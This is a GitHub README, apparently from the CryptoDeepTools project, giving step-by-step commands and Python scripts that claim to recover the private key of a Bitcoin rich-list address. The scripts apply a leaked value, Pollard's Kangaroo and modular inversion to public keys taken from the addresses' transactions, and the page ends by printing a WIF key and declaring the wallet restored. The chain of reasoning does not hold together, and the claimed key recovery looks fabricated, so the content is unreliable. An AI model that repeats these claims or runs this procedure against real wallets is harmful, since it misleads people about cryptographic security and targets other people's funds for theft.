Skip to content

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

Notifications You must be signed in to change notification settings

demining/Reduce-Private-Key

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

16 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

In this article, we will try to show how you can reduce the private key knowing only the leak from the «BLOCKCHAIN ​​FOLBIT LEAKS» list and the public key from «UTXO» .
In the experimental part, we will use the 08ReducePrivateKey scripts and restore the Bitcoin Wallet.

Elliptic curve scalar multiplication is the operation of adding a pointPto the curvektimes.

Q=kP=P+P+P, k times

Pis a point on an elliptic curve , and kis a large natural number .

In any primitive implementations, ECCscalar multiplication is the main computational operation. A key factor in improving efficiency ECCis the implementation of fast scalar multiplication. Therefore, many researchers have proposed various studies of accelerated scalar multiplication .

Let’s use the ECPy library

ECPy provides:

  • ECDSA signatures
  • Ed25519 signatures
  • ECSchnorr signatures
  • Borromean signatures
  • point operations

In many of our studies, we use the library ECPyandGoogle Colab

Open [TerminalGoogleColab]

Let’s use the «08ReducePrivateKey» repository

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/08ReducePrivateKey/

ls

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

Install the ECPy library:

pip3 install ECPy

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

Python script: maxwell.py , save код and run in terminalGoogle Colab

from ecpy.curves     import Curve,Point

cv = Curve.get_curve('secp256k1') G = Point(0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798, 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8, cv) x = 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a1

PUBKEY = x*G

print(PUBKEY)

Run command:

python3 maxwell.py

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

Result:

(0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63 , 0xc0c686408d517dfd67c2367651380d00d126e4229631fd03f8ff35eef1a61e3c)

Pay attention to the x coordinate

x value = 3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63

0200000000000000000000003B78CE563F89A0ED9414F5AA28AD0D96D6795F9C63

This public key is called «Maxwell’s vanity public key»

0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0 --> 0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63, 0x3f3979bf72ae8202983dc989aec7f2ff2ed91bdd69ce02fc0700ca100e59ddf3
0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a1 --> 0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63, 0xc0c686408d517dfd67c2367651380d00d126e4229631fd03f8ff35eef1a61e3c

p = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

((p-1)/2) = 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0

0200000000000000000000003B78CE563F89A0ED9414F5AA28AD0D96D6795F9C63

We’ll come back to this public key!

Let’s move on to the experimental part:

We have three different Bitcoin Addresses with a balance 100 BTC or higher from the Bitcoin Rich List

1KpHWkpG7BGxDuSJKYPYVvNSC6womEZdTu

1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm

1GrTCkqqcXhVTXoQkPJjU5LuFKgAvC3iqJ

Let UTXO‘s get these Bitcoin Addresses and now we have three signatures ECDSA (Apply scripts 01BlockchainGoogleDrive )

c1ea2c9e48ce632488817781f89730d77cd4121f1c8f70a4be44d2a15e8e08d0
37dadae30c6f7c6c4a2c930db979494783005a8e94d6861039fed21e3fa859b9
9dacfc8243109475383d5b30e8d5f0ba23d023bd47649064c208d4586b278436

Get RawTXfor three different Bitcoin Addresses

01000000017fbdd4c9991d0ba4fb0a0c06f6933442c17678bce6dfa4bf80e22ed530bb933c010000008a47304402206d0ab626a7e477c27602ed63b2651517af077e6f3fafda671dd9952dfcb5f0b90220168eb51a48ce7496a699a800299f15638e0a7f36ae84e84e26df0cd2a280a70e014104b3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97fe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4feffffff0240597307000000001976a914211090b628fa6351fa8240232e3c2753fd5eece588ac700369d2050000001976a914ce639943ce1602e30b249faf74388ee0eeb1d3c588ac84b90700
01000000014666d430766d611cc7f2c21494e68e463ac4be8bb2f70b91693728324849e1c3010000008a473044022057a02a4abc38e2e3e1809b05402cf52faef7e101d6364d43bb0305f8796b0fb202203d1934a016c91072ffe137575734454161284ab3371a0cfc6767db7f27f24a75014104ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240cffffffff01b0feea0b000000001976a9148300ab0caebb6e85cf9e6b287a57924d1ac7c82f88ac00000000
01000000019d8e5e1bfac780b813e41517926aca95048e1dea92cbbe2a98475ff53ad38ccd000000008c493046022100c7b76326879a5ec7df2ffedb292a45c13c6f154982fc2cd7e05f0d0d0dce2d05022100d7fd43416608eaeb6356f04b601ac6edd23e0f82de44689fe5a7aa2f576637a001410480edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2b5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56cffffffff01a93de702000000001976a914119fb35bad07974c1a8d47d210ca3048bb13be8788ac00000000

Install all the necessary modules:

bitcoin
ecdsa
utils
base58

pip2 install -r requirements.txt

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

Using the breakECDSA.py script, we will find out the public keys for Bitcoin Addresses

python2 breakECDSA.py 01000000017fbdd4c9991d0ba4fb0a0c06f6933442c17678bce6dfa4bf80e22ed530bb933c010000008a47304402206d0ab626a7e477c27602ed63b2651517af077e6f3fafda671dd9952dfcb5f0b90220168eb51a48ce7496a699a800299f15638e0a7f36ae84e84e26df0cd2a280a70e014104b3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97fe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4feffffff0240597307000000001976a914211090b628fa6351fa8240232e3c2753fd5eece588ac700369d2050000001976a914ce639943ce1602e30b249faf74388ee0eeb1d3c588ac84b90700 >> PublicKeys.txt
python2 breakECDSA.py 01000000014666d430766d611cc7f2c21494e68e463ac4be8bb2f70b91693728324849e1c3010000008a473044022057a02a4abc38e2e3e1809b05402cf52faef7e101d6364d43bb0305f8796b0fb202203d1934a016c91072ffe137575734454161284ab3371a0cfc6767db7f27f24a75014104ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240cffffffff01b0feea0b000000001976a9148300ab0caebb6e85cf9e6b287a57924d1ac7c82f88ac00000000 >> PublicKeys.txt
python2 breakECDSA.py 01000000019d8e5e1bfac780b813e41517926aca95048e1dea92cbbe2a98475ff53ad38ccd000000008c493046022100c7b76326879a5ec7df2ffedb292a45c13c6f154982fc2cd7e05f0d0d0dce2d05022100d7fd43416608eaeb6356f04b601ac6edd23e0f82de44689fe5a7aa2f576637a001410480edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2b5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56cffffffff01a93de702000000001976a914119fb35bad07974c1a8d47d210ca3048bb13be8788ac00000000 >> PublicKeys.txt

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

After launch, we receive public keys for all three Bitcoin Addresses.

The result will be saved to a file: PublicKeys.txt

Откроем файл: PublicKeys.txt

cat PublicKeys.txt

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

PUBKEY = 04b3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97fe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4
PUBKEY = 04ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240c
PUBKEY = 0480edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2b5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56c

Let’s make these public keys in the form of coordinate points (x,y):

(0xb3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97 , 0xfe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4)
(0xea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd , 0x1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240c)
(0x80edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2 , 0xb5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56c)

Save the coordinate points (x,y)in a file: Coordinates.txt

BLOCKCHAIN ​​FOLBIT LEAKS

Let’s open the list of known blockchain leaks on 2019 год «BLOCKCHAIN ​​FOLBIT LEAKS»

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

Let’s copy the value:

dac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

Now let’s do the dot multiplication over all the coordinates of the points by (x,y)applying the leakage value :

Change the maxwell.py code and change the name to scalarEC.py

Let’s addwith open("Coordinates.txt", "rt") as base:

All new coordinates will be saved in a file:SaveBase.txt

B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

Let’s add a value Bfrom the list to the code and save it as a Python script: scalarEC.py

from ecpy.curves     import Curve,Point

with open("Coordinates.txt", "rt") as base: for line in base.read().splitlines(): Gx, Gy = map(lambda v: int(v, 16), line[1: -1].split(" , "))

    cv = Curve.get_curve('secp256k1')

    P  = Point(Gx,Gy,cv)

    B  = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

    A  = B*P

    with open("SaveBase.txt", "a") as file:
        file.write(str(A))
        file.write("\n")</code></pre><hr class="wp-block-separator has-alpha-channel-opacity" style="background-color: #cccccc; border-bottom-color: initial; border-bottom-style: solid; border-image: initial; border-left: 0px; border-right: 0px; border-top-color: initial; border-top-style: solid; box-sizing: content-box; height: 0px; margin-bottom: 1rem; margin-top: 1rem; overflow: visible;"><h2 style="box-sizing: inherit; clear: both; color: #191308; font-size: 2rem; line-height: 1.2; margin: 0.5rem 0px;">Let’s run the script:</h2><pre class="wp-block-code" style="background-color: #f7f7f7; border-color: rgb(230, 230, 230); box-sizing: inherit; color: #212529; font-family: &quot;Courier 10 Pitch&quot;, courier, monospace; font-size: 14px; line-height: 1.6; margin-bottom: 1rem; margin-top: 0px; max-width: 100%; overflow: auto; padding: 1.6em; text-overflow: ellipsis;"><code style="box-sizing: inherit; color: inherit; display: block; font-family: inherit; font-size: inherit; overflow-wrap: break-word; white-space: pre-wrap; word-break: normal;">python3 scalarEC.py

Результат сохранился в файле: SaveBase.txt

Откроем файле: SaveBase.txt

cat SaveBase.txt

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

(0x92b9eeebb8c4fa108359bd31367e36b7fe65b4a7e06d533b476dee097572a4c0 , 0x4d2beb1835a2f8b85e3f61d32094dbf0b4c7a212bee42ee4612193c0653c6e56)
(0x65304d24c0edc862843587a96ea700f86e9e70e7801ac7df9efd2de84230c3e7 , 0x7af6d83573849d2368a021e835c5768e1b791c0c1b4cfafb9795058df5f27958)
(0x433c15b724948371877dd3c1014d59d1a13d76a29e4948903623a74767736b97 , 0x13f15f3bb28a4766952e10da9717aa3cc0bad90b0414f483718531d584721ea3)

After scalar multiplication by the leakage value over all coordinate points (x,y), we get new points

Now let’s rewrite these coordinates in the form of uncompressed public keys:

Let’s take a look at this public key:

0465304d24c0edc862843587a96ea700f86e9e70e7801ac7df9efd2de84230c3e77af6d83573849d2368a021e835c5768e1b791c0c1b4cfafb9795058df5f27958

Now we use Pollard’s Kangaroo method to find the private key

Previously, we published an article: «Pollard’s Kangaroo find solutions to the discrete logarithm of secp256k1 PRIVATE KEY + NONCES in a known range»

Let’s use the new code Pollard's Kangaroo from Telariust Python -script: kangaroo.py

Install the gmpy2 module with the command:

sudo apt install python-gmpy2

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

Next, run the Python script: kangaroo.py

python2 kangaroo.py 32 0465304D24C0EDC862843587A96EA700F86E9E70E7801AC7DF9EFD2DE84230C3E77AF6D83573849D2368A021E835C5768E1B791C0C1B4CFAFB9795058DF5F27958

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

In the terminal we see that we managed to get "prvkey":

[prvkey#32] 0x00000000000000000000000000000000000000000000000000000000795f9c63
[pubkey#32] 0465304d24c0edc862843587a96ea700f86e9e70e7801ac7df9efd2de84230c3e77af6d83573849d2368a021e835c5768e1b791c0c1b4cfafb9795058df5f27958

The result will be saved to a file: Privkey.txt

Откроем файл командой:

cat Privkey.txt

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

00000000000000000000000000000000000000000000000000000000795f9c63

We got a reduced private key for the public key:

0465304D24C0EDC862843587A96EA700F86E9E70E7801AC7DF9EFD2DE84230C3E77AF6D83573849D2368A021E835C5768E1B791C0C1B4CFAFB9795058DF5F27958

Pay attention to the private key:

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

The latter matches the 8 цифрpublic key «Maxwell’s vanity public key»формате HEX

0200000000000000000000003B78CE563F89A0ED9414F5AA28AD0D96D6795F9C63

A = 0x00000000000000000000000000000000000000000000000000000000795f9c63
B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

Now, in order to get a private key for one of the three Bitcoin Addresses, we need to do a modulo division значение Abyзначение B

Privkey = ((A * modinv(B,N)) % N)

Let’s use a Python script: calculate.py

def h(n):
return hex(n).replace("0x","")

def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotientx, x y, lasty = lasty - quotienty, y return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m

N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

A = 0x00000000000000000000000000000000000000000000000000000000795f9c63 B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

print (h(((A) * modinv(B,N)) % N))

Let ‘s run the Python script: calculate.py

python3 calculate.py

As a result, we will receive a private key in the terminal in HEX format 38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae

As a result, we will receive a private key in the terminal in HEX format 38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae

Let’s open bitaddress and check:

ADDR: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm
WIF:  5JF9ME7zdGLDd3oyuMG7RfwgA1ByjZb2LbSwRMwM8ZKBADFLfCx
HEX:  38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae

Reducing the private key through scalar multiplication using the ECPy + Google Colab library

Private Key Found!

Bitcoin Wallet Restored!

www.blockchain.com/btc/address/1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm

www.blockchain.com/btc/address/1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm

This video was created for the  CRYPTO DEEP TECH portal  to ensure the financial security of data and cryptography on elliptic curves  secp256k1 against weak signatures  ECDSA in cryptocurrency BITCOIN

Source

Telegram :  https://t.me/cryptodeeptech

Video: https://youtu.be/zu2yiaZ_LOs

Source: https://cryptodeeptech.ru/reduce-private-key



Donation Address
BTC 1Lw2gTnMpxRUNBU85Hg4ruTwnpUPKdf3nV
ETH 0xaBd66CF90898517573f19184b3297d651f7b90bf